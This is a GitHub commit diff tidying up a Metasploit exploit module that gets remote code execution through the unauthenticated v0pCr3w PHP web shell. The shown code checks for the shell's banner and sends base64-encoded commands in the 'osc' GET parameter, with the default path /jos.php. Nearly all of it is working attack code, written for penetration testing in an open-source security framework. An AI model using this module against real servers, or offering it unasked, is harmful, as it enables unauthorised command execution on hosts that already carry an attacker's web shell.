Skip to content

Commit cf9ca39

Browse files
author
(B)rian (Wall)ace
committed
Merge pull request #1 from jvazquez-r7/v0pCr3w_work
cleanup for v0pCr3w_exec
2 parents fd302d6 + 5fc5a4f commit cf9ca39

File tree

1 file changed

+21
-16
lines changed

1 file changed

+21
-16
lines changed

modules/exploits/multi/misc/v0pCr3w_exec.rb renamed to modules/exploits/multi/http/v0pcr3w_exec.rb

Lines changed: 21 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -8,15 +8,16 @@
88
require 'msf/core'
99

1010
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = GreatRanking
1112

1213
include Msf::Exploit::Remote::HttpClient
1314

1415
def initialize(info={})
1516
super(update_info(info,
16-
'Name' => '"v0pCr3w" Web Shell Remote Code Execution',
17+
'Name' => 'v0pCr3w Web Shell Remote Code Execution',
1718
'Description' => %q{
18-
This module exploits a lack of authentication in the shell developed by v0pCr3w
19-
and is widely reused in automated RFI payloads. This module takes advantage of the
19+
This module exploits a lack of authentication in the shell developed by v0pCr3w
20+
and is widely reused in automated RFI payloads. This module takes advantage of the
2021
shell's various methods to execute commands.
2122
},
2223
'License' => MSF_LICENSE,
@@ -27,7 +28,7 @@ def initialize(info={})
2728
'References' =>
2829
[
2930
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell'],
30-
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0'],
31+
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0']
3132
],
3233
'Privileged' => false,
3334
'Payload' =>
@@ -42,23 +43,27 @@ def initialize(info={})
4243
},
4344
'Platform' => ['unix', 'win'],
4445
'Arch' => ARCH_CMD,
45-
'Targets' => [['Automatic',{}]],
46+
'Targets' =>
47+
[
48+
['v0pCr3w / Unix', { 'Platform' => 'unix' } ],
49+
['v0pCr3w / Windows', { 'Platform' => 'win' } ]
50+
],
4651
'DisclosureDate' => 'Mar 23 2013',
4752
'DefaultTarget' => 0))
4853

4954
register_options(
5055
[
51-
OptString.new('URI',[true, "The path to the v0pCr3w shell", "/"]),
56+
OptString.new('TARGETURI', [true, "The path to the v0pCr3w shell", "/jos.php"]),
5257
],self.class)
5358
end
5459

5560
def check
5661
shell = send_request_cgi({
57-
'method' => 'GET',
58-
'uri' => normalize_uri(datastore['URI']),
59-
'vars_get' => {
60-
'lol' => '1'
61-
}
62+
'method' => 'GET',
63+
'uri' => normalize_uri(target_uri.path.to_s),
64+
'vars_get' => {
65+
'lol' => '1'
66+
}
6267
})
6368
if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
6469
return Exploit::CheckCode::Vulnerable
@@ -69,11 +74,11 @@ def check
6974
def http_send_command(cmd)
7075
p = Rex::Text.encode_base64(cmd)
7176
res = send_request_cgi({
72-
'method' => 'GET',
73-
'uri' => normalize_uri(datastore['URI']),
74-
'vars_get' => {
75-
'osc' => p
76-
}
77+
'method' => 'GET',
78+
'uri' => normalize_uri(target_uri.path.to_s),
79+
'vars_get' => {
80+
'osc' => p
81+
}
7782
})
7883
if not (res and res.code == 200)
7984
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')

0 commit comments

Comments
 (0)